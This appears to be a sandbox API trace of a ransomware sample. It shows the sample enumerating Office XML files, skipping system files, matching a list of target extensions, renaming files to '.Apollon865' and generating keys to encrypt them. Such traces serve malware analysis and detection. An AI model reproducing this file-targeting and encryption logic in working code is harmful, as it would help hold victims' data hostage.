	[0068.509] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=1875) returned 1
	[0068.509] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0068.509] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0068.509] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf4e0
	[0068.509] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf898) returned 1
	[0068.510] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0068.510] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0068.510] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa60, lpName=0x0) returned 0x118
	[0068.512] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xa60) returned 0x100000
	[0068.513] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf898) returned 1
	[0068.513] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0068.513] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0068.514] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0068.514] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0068.514] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0068.514] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0068.514] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0068.514] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0068.514] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b3188
	[0068.514] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0068.514] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b3188 | out: hHeap=0x580000) returned 1
	[0068.514] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0068.514] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0068.514] CloseHandle (hObject=0x118) returned 1
	[0068.514] CloseHandle (hObject=0x15c) returned 1
	[0068.514] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0068.514] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0068.514] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0068.515] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91fe6500, ftCreationTime.dwHighDateTime=0x1ca1b37, ftLastAccessTime.dwLowDateTime=0x6ce23630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x91fe6500, ftLastWriteTime.dwHighDateTime=0x1ca1b37, nFileSizeHigh=0x0, nFileSizeLow=0xe944e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PGLBL081.XML", cAlternateFileName="")) returned 1
	[0068.515] lstrcmpiW (lpString1="PGLBL081.XML", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0068.515] lstrcmpiW (lpString1="PGLBL081.XML", lpString2="Apollon865.txt.exe") returned 1
	[0068.515] lstrcmpiW (lpString1="PGLBL081.XML", lpString2=".") returned 1
	[0068.515] lstrcmpiW (lpString1="PGLBL081.XML", lpString2="..") returned 1
	[0068.515] lstrcmpiW (lpString1="PGLBL081.XML", lpString2="windows") returned -1
	[0068.515] lstrcmpiW (lpString1="PGLBL081.XML", lpString2="bootmgr") returned 1
	[0068.515] lstrcmpiW (lpString1="PGLBL081.XML", lpString2="temp") returned -1
	[0068.515] lstrcmpiW (lpString1="PGLBL081.XML", lpString2="pagefile.sys") returned 1
	[0068.515] lstrcmpiW (lpString1="PGLBL081.XML", lpString2="boot") returned 1
	[0068.515] lstrcmpiW (lpString1="PGLBL081.XML", lpString2="ids.txt") returned 1
	[0068.515] lstrcmpiW (lpString1="PGLBL081.XML", lpString2="ntuser.dat") returned 1
	[0068.515] lstrcmpiW (lpString1="PGLBL081.XML", lpString2="perflogs") returned 1
	[0068.515] lstrcmpiW (lpString1="PGLBL081.XML", lpString2="MSBuild") returned 1
	[0068.515] lstrlenW (lpString="PGLBL081.XML") returned 12
	[0068.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL078.XML") returned 64
	[0068.515] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="PGLBL081.XML" | out: lpString1="PGLBL081.XML") returned="PGLBL081.XML"
	[0068.515] lstrlenW (lpString="PGLBL081.XML") returned 12
	[0068.515] lstrlenW (lpString="Apollon865") returned 10
	[0068.515] lstrcmpiW (lpString1="LBL081.XML", lpString2="Apollon865") returned 1
	[0068.515] lstrlenW (lpString=".dll") returned 4
	[0068.515] lstrcmpiW (lpString1="PGLBL081.XML", lpString2=".dll") returned 1
	[0068.515] lstrlenW (lpString=".lnk") returned 4
	[0068.515] lstrcmpiW (lpString1="PGLBL081.XML", lpString2=".lnk") returned 1
	[0068.515] lstrlenW (lpString=".ini") returned 4
	[0068.515] lstrcmpiW (lpString1="PGLBL081.XML", lpString2=".ini") returned 1
	[0068.515] lstrlenW (lpString=".sys") returned 4
	[0068.515] lstrcmpiW (lpString1="PGLBL081.XML", lpString2=".sys") returned 1
	[0068.515] lstrlenW (lpString="PGLBL081.XML") returned 12
	[0068.515] lstrlenW (lpString="bak") returned 3
	[0068.515] lstrcmpiW (lpString1="XML", lpString2="bak") returned 1
	[0068.515] lstrlenW (lpString="ba_") returned 3
	[0068.516] lstrcmpiW (lpString1="XML", lpString2="ba_") returned 1
	[0068.516] lstrlenW (lpString="dbb") returned 3
	[0068.516] lstrcmpiW (lpString1="XML", lpString2="dbb") returned 1
	[0068.516] lstrlenW (lpString="vmdk") returned 4
	[0068.516] lstrcmpiW (lpString1=".XML", lpString2="vmdk") returned -1
	[0068.516] lstrlenW (lpString="rar") returned 3
	[0068.516] lstrcmpiW (lpString1="XML", lpString2="rar") returned 1
	[0068.516] lstrlenW (lpString="zip") returned 3
	[0068.516] lstrcmpiW (lpString1="XML", lpString2="zip") returned -1
	[0068.516] lstrlenW (lpString="tgz") returned 3
	[0068.516] lstrcmpiW (lpString1="XML", lpString2="tgz") returned 1
	[0068.516] lstrlenW (lpString="vbox") returned 4
	[0068.516] lstrcmpiW (lpString1=".XML", lpString2="vbox") returned -1
	[0068.516] lstrlenW (lpString="vdi") returned 3
	[0068.516] lstrcmpiW (lpString1="XML", lpString2="vdi") returned 1
	[0068.516] lstrlenW (lpString="vhd") returned 3
	[0068.516] lstrcmpiW (lpString1="XML", lpString2="vhd") returned 1
	[0068.516] lstrlenW (lpString="vhdx") returned 4
	[0068.516] lstrcmpiW (lpString1=".XML", lpString2="vhdx") returned -1
	[0068.516] lstrlenW (lpString="avhd") returned 4
	[0068.516] lstrcmpiW (lpString1=".XML", lpString2="avhd") returned -1
	[0068.517] lstrlenW (lpString="db") returned 2
	[0068.517] lstrcmpiW (lpString1="ML", lpString2="db") returned 1
	[0068.517] lstrlenW (lpString="db2") returned 3
	[0068.517] lstrcmpiW (lpString1="XML", lpString2="db2") returned 1
	[0068.517] lstrlenW (lpString="db3") returned 3
	[0068.517] lstrcmpiW (lpString1="XML", lpString2="db3") returned 1
	[0068.517] lstrlenW (lpString="dbf") returned 3
	[0068.517] lstrcmpiW (lpString1="XML", lpString2="dbf") returned 1
	[0068.517] lstrlenW (lpString="mdf") returned 3
	[0068.517] lstrcmpiW (lpString1="XML", lpString2="mdf") returned 1
	[0068.517] lstrlenW (lpString="mdb") returned 3
	[0068.517] lstrcmpiW (lpString1="XML", lpString2="mdb") returned 1
	[0068.517] lstrlenW (lpString="sql") returned 3
	[0068.517] lstrcmpiW (lpString1="XML", lpString2="sql") returned 1
	[0068.517] lstrlenW (lpString="sqlite") returned 6
	[0068.517] lstrcmpiW (lpString1="81.XML", lpString2="sqlite") returned -1
	[0068.517] lstrlenW (lpString="sqlite3") returned 7
	[0068.517] lstrcmpiW (lpString1="081.XML", lpString2="sqlite3") returned -1
	[0068.517] lstrlenW (lpString="sqlitedb") returned 8
	[0068.517] lstrcmpiW (lpString1="L081.XML", lpString2="sqlitedb") returned -1
	[0068.517] lstrlenW (lpString="xml") returned 3
	[0068.517] lstrcmpiW (lpString1="XML", lpString2="xml") returned 0
	[0068.517] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL081.XML.Apollon865") returned 75
	[0068.517] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL081.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl081.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL081.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl081.xml.apollon865"), dwFlags=0x1) returned 1
	[0068.518] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL081.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl081.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0068.518] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=955470) returned 1
	[0068.518] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0068.519] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0068.519] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf4e0
	[0068.519] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf898) returned 1
	[0068.519] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0068.519] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0068.520] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xe9750, lpName=0x0) returned 0x118
	[0068.521] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xe9750) returned 0x3390000
	[0068.561] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf898) returned 1
	[0068.562] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0068.562] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0068.562] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0068.562] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0068.562] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0068.562] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0068.562] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0068.562] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0068.562] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0068.586] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0068.586] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0068.586] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0068.586] UnmapViewOfFile (lpBaseAddress=0x3390000) returned 1
	[0068.599] CloseHandle (hObject=0x118) returned 1
	[0068.599] CloseHandle (hObject=0x15c) returned 1
	[0068.599] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0068.599] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0068.599] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0068.603] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67337900, ftCreationTime.dwHighDateTime=0x1ca0b56, ftLastAccessTime.dwLowDateTime=0x5a38ce90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x67337900, ftLastWriteTime.dwHighDateTime=0x1ca0b56, nFileSizeHigh=0x0, nFileSizeLow=0x38d3a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PGLBL082.XML", cAlternateFileName="")) returned 1
	[0068.603] lstrcmpiW (lpString1="PGLBL082.XML", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0068.603] lstrcmpiW (lpString1="PGLBL082.XML", lpString2="Apollon865.txt.exe") returned 1
	[0068.603] lstrcmpiW (lpString1="PGLBL082.XML", lpString2=".") returned 1
	[0068.603] lstrcmpiW (lpString1="PGLBL082.XML", lpString2="..") returned 1
	[0068.603] lstrcmpiW (lpString1="PGLBL082.XML", lpString2="windows") returned -1
	[0068.603] lstrcmpiW (lpString1="PGLBL082.XML", lpString2="bootmgr") returned 1
	[0068.603] lstrcmpiW (lpString1="PGLBL082.XML", lpString2="temp") returned -1
	[0068.603] lstrcmpiW (lpString1="PGLBL082.XML", lpString2="pagefile.sys") returned 1
	[0068.603] lstrcmpiW (lpString1="PGLBL082.XML", lpString2="boot") returned 1
	[0068.603] lstrcmpiW (lpString1="PGLBL082.XML", lpString2="ids.txt") returned 1
	[0068.603] lstrcmpiW (lpString1="PGLBL082.XML", lpString2="ntuser.dat") returned 1
	[0068.603] lstrcmpiW (lpString1="PGLBL082.XML", lpString2="perflogs") returned 1
	[0068.604] lstrcmpiW (lpString1="PGLBL082.XML", lpString2="MSBuild") returned 1
	[0068.604] lstrlenW (lpString="PGLBL082.XML") returned 12
	[0068.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL081.XML") returned 64
	[0068.604] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="PGLBL082.XML" | out: lpString1="PGLBL082.XML") returned="PGLBL082.XML"
	[0068.604] lstrlenW (lpString="PGLBL082.XML") returned 12
	[0068.604] lstrlenW (lpString="Apollon865") returned 10
	[0068.604] lstrcmpiW (lpString1="LBL082.XML", lpString2="Apollon865") returned 1
	[0068.604] lstrlenW (lpString=".dll") returned 4
	[0068.604] lstrcmpiW (lpString1="PGLBL082.XML", lpString2=".dll") returned 1
	[0068.604] lstrlenW (lpString=".lnk") returned 4
	[0068.604] lstrcmpiW (lpString1="PGLBL082.XML", lpString2=".lnk") returned 1
	[0068.604] lstrlenW (lpString=".ini") returned 4
	[0068.604] lstrcmpiW (lpString1="PGLBL082.XML", lpString2=".ini") returned 1
	[0068.604] lstrlenW (lpString=".sys") returned 4
	[0068.604] lstrcmpiW (lpString1="PGLBL082.XML", lpString2=".sys") returned 1
	[0068.604] lstrlenW (lpString="PGLBL082.XML") returned 12
	[0068.604] lstrlenW (lpString="bak") returned 3
	[0068.604] lstrcmpiW (lpString1="XML", lpString2="bak") returned 1
	[0068.604] lstrlenW (lpString="ba_") returned 3
	[0068.604] lstrcmpiW (lpString1="XML", lpString2="ba_") returned 1
	[0068.604] lstrlenW (lpString="dbb") returned 3
	[0068.604] lstrcmpiW (lpString1="XML", lpString2="dbb") returned 1
	[0068.604] lstrlenW (lpString="vmdk") returned 4
	[0068.604] lstrcmpiW (lpString1=".XML", lpString2="vmdk") returned -1
	[0068.604] lstrlenW (lpString="rar") returned 3
	[0068.604] lstrcmpiW (lpString1="XML", lpString2="rar") returned 1
	[0068.604] lstrlenW (lpString="zip") returned 3
	[0068.604] lstrcmpiW (lpString1="XML", lpString2="zip") returned -1
	[0068.604] lstrlenW (lpString="tgz") returned 3
	[0068.604] lstrcmpiW (lpString1="XML", lpString2="tgz") returned 1
	[0068.604] lstrlenW (lpString="vbox") returned 4
	[0068.604] lstrcmpiW (lpString1=".XML", lpString2="vbox") returned -1
	[0068.604] lstrlenW (lpString="vdi") returned 3
	[0068.604] lstrcmpiW (lpString1="XML", lpString2="vdi") returned 1
	[0068.604] lstrlenW (lpString="vhd") returned 3
	[0068.605] lstrcmpiW (lpString1="XML", lpString2="vhd") returned 1
	[0068.605] lstrlenW (lpString="vhdx") returned 4
	[0068.605] lstrcmpiW (lpString1=".XML", lpString2="vhdx") returned -1
	[0068.605] lstrlenW (lpString="avhd") returned 4
	[0068.605] lstrcmpiW (lpString1=".XML", lpString2="avhd") returned -1
	[0068.605] lstrlenW (lpString="db") returned 2
	[0068.605] lstrcmpiW (lpString1="ML", lpString2="db") returned 1
	[0068.605] lstrlenW (lpString="db2") returned 3
	[0068.605] lstrcmpiW (lpString1="XML", lpString2="db2") returned 1
	[0068.605] lstrlenW (lpString="db3") returned 3
	[0068.605] lstrcmpiW (lpString1="XML", lpString2="db3") returned 1
	[0068.605] lstrlenW (lpString="dbf") returned 3
	[0068.605] lstrcmpiW (lpString1="XML", lpString2="dbf") returned 1
	[0068.605] lstrlenW (lpString="mdf") returned 3
	[0068.605] lstrcmpiW (lpString1="XML", lpString2="mdf") returned 1
	[0068.605] lstrlenW (lpString="mdb") returned 3
	[0068.605] lstrcmpiW (lpString1="XML", lpString2="mdb") returned 1
	[0068.605] lstrlenW (lpString="sql") returned 3
	[0068.605] lstrcmpiW (lpString1="XML", lpString2="sql") returned 1
	[0068.605] lstrlenW (lpString="sqlite") returned 6
	[0068.605] lstrcmpiW (lpString1="82.XML", lpString2="sqlite") returned -1
	[0068.605] lstrlenW (lpString="sqlite3") returned 7
	[0068.605] lstrcmpiW (lpString1="082.XML", lpString2="sqlite3") returned -1
	[0068.605] lstrlenW (lpString="sqlitedb") returned 8
	[0068.605] lstrcmpiW (lpString1="L082.XML", lpString2="sqlitedb") returned -1
	[0068.605] lstrlenW (lpString="xml") returned 3
	[0068.605] lstrcmpiW (lpString1="XML", lpString2="xml") returned 0
	[0068.605] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL082.XML.Apollon865") returned 75
	[0068.605] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL082.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl082.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL082.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl082.xml.apollon865"), dwFlags=0x1) returned 1
	[0068.614] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL082.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl082.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0068.614] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=232762) returned 1
	[0068.614] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0068.615] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0068.615] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf4e0
	[0068.615] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf700) returned 1
	[0068.615] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0068.616] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0068.616] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x39040, lpName=0x0) returned 0x118
	[0068.617] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x39040) returned 0x210000
	[0068.867] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf700) returned 1
	[0068.867] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0068.867] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0068.867] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0068.868] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0068.868] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0068.868] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0068.868] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0068.868] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0068.868] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0068.868] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0068.868] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0068.868] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0068.868] UnmapViewOfFile (lpBaseAddress=0x210000) returned 1
	[0068.870] CloseHandle (hObject=0x118) returned 1
	[0068.870] CloseHandle (hObject=0x15c) returned 1
	[0068.870] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0068.870] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0068.871] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0068.872] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf103000, ftCreationTime.dwHighDateTime=0x1ca25ea, ftLastAccessTime.dwLowDateTime=0x5a38ce90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcf103000, ftLastWriteTime.dwHighDateTime=0x1ca25ea, nFileSizeHigh=0x0, nFileSizeLow=0x8cda, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PGLBL083.XML", cAlternateFileName="")) returned 1
	[0068.872] lstrcmpiW (lpString1="PGLBL083.XML", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0068.872] lstrcmpiW (lpString1="PGLBL083.XML", lpString2="Apollon865.txt.exe") returned 1
	[0068.872] lstrcmpiW (lpString1="PGLBL083.XML", lpString2=".") returned 1
	[0068.872] lstrcmpiW (lpString1="PGLBL083.XML", lpString2="..") returned 1
	[0068.872] lstrcmpiW (lpString1="PGLBL083.XML", lpString2="windows") returned -1
	[0068.872] lstrcmpiW (lpString1="PGLBL083.XML", lpString2="bootmgr") returned 1
	[0068.872] lstrcmpiW (lpString1="PGLBL083.XML", lpString2="temp") returned -1
	[0068.872] lstrcmpiW (lpString1="PGLBL083.XML", lpString2="pagefile.sys") returned 1
	[0068.872] lstrcmpiW (lpString1="PGLBL083.XML", lpString2="boot") returned 1
	[0068.872] lstrcmpiW (lpString1="PGLBL083.XML", lpString2="ids.txt") returned 1
	[0068.872] lstrcmpiW (lpString1="PGLBL083.XML", lpString2="ntuser.dat") returned 1
	[0068.872] lstrcmpiW (lpString1="PGLBL083.XML", lpString2="perflogs") returned 1
	[0068.872] lstrcmpiW (lpString1="PGLBL083.XML", lpString2="MSBuild") returned 1
	[0068.872] lstrlenW (lpString="PGLBL083.XML") returned 12
	[0068.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL082.XML") returned 64
	[0068.872] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="PGLBL083.XML" | out: lpString1="PGLBL083.XML") returned="PGLBL083.XML"
	[0068.872] lstrlenW (lpString="PGLBL083.XML") returned 12
	[0068.872] lstrlenW (lpString="Apollon865") returned 10
	[0068.872] lstrcmpiW (lpString1="LBL083.XML", lpString2="Apollon865") returned 1
	[0068.872] lstrlenW (lpString=".dll") returned 4
	[0068.872] lstrcmpiW (lpString1="PGLBL083.XML", lpString2=".dll") returned 1
	[0068.872] lstrlenW (lpString=".lnk") returned 4
	[0068.872] lstrcmpiW (lpString1="PGLBL083.XML", lpString2=".lnk") returned 1
	[0068.872] lstrlenW (lpString=".ini") returned 4
	[0068.872] lstrcmpiW (lpString1="PGLBL083.XML", lpString2=".ini") returned 1
	[0068.872] lstrlenW (lpString=".sys") returned 4
	[0068.872] lstrcmpiW (lpString1="PGLBL083.XML", lpString2=".sys") returned 1
	[0068.872] lstrlenW (lpString="PGLBL083.XML") returned 12
	[0068.872] lstrlenW (lpString="bak") returned 3
	[0068.872] lstrcmpiW (lpString1="XML", lpString2="bak") returned 1
	[0068.872] lstrlenW (lpString="ba_") returned 3
	[0068.872] lstrcmpiW (lpString1="XML", lpString2="ba_") returned 1
	[0068.872] lstrlenW (lpString="dbb") returned 3
	[0068.873] lstrcmpiW (lpString1="XML", lpString2="dbb") returned 1
	[0068.873] lstrlenW (lpString="vmdk") returned 4
	[0068.873] lstrcmpiW (lpString1=".XML", lpString2="vmdk") returned -1
	[0068.873] lstrlenW (lpString="rar") returned 3
	[0068.873] lstrcmpiW (lpString1="XML", lpString2="rar") returned 1
	[0068.873] lstrlenW (lpString="zip") returned 3
	[0068.873] lstrcmpiW (lpString1="XML", lpString2="zip") returned -1
	[0068.873] lstrlenW (lpString="tgz") returned 3
	[0068.873] lstrcmpiW (lpString1="XML", lpString2="tgz") returned 1
	[0068.873] lstrlenW (lpString="vbox") returned 4
	[0068.873] lstrcmpiW (lpString1=".XML", lpString2="vbox") returned -1
	[0068.873] lstrlenW (lpString="vdi") returned 3
	[0068.873] lstrcmpiW (lpString1="XML", lpString2="vdi") returned 1
	[0068.873] lstrlenW (lpString="vhd") returned 3
	[0068.873] lstrcmpiW (lpString1="XML", lpString2="vhd") returned 1
	[0068.873] lstrlenW (lpString="vhdx") returned 4
	[0068.873] lstrcmpiW (lpString1=".XML", lpString2="vhdx") returned -1
	[0068.873] lstrlenW (lpString="avhd") returned 4
	[0068.873] lstrcmpiW (lpString1=".XML", lpString2="avhd") returned -1
	[0068.873] lstrlenW (lpString="db") returned 2
	[0068.873] lstrcmpiW (lpString1="ML", lpString2="db") returned 1
	[0068.873] lstrlenW (lpString="db2") returned 3
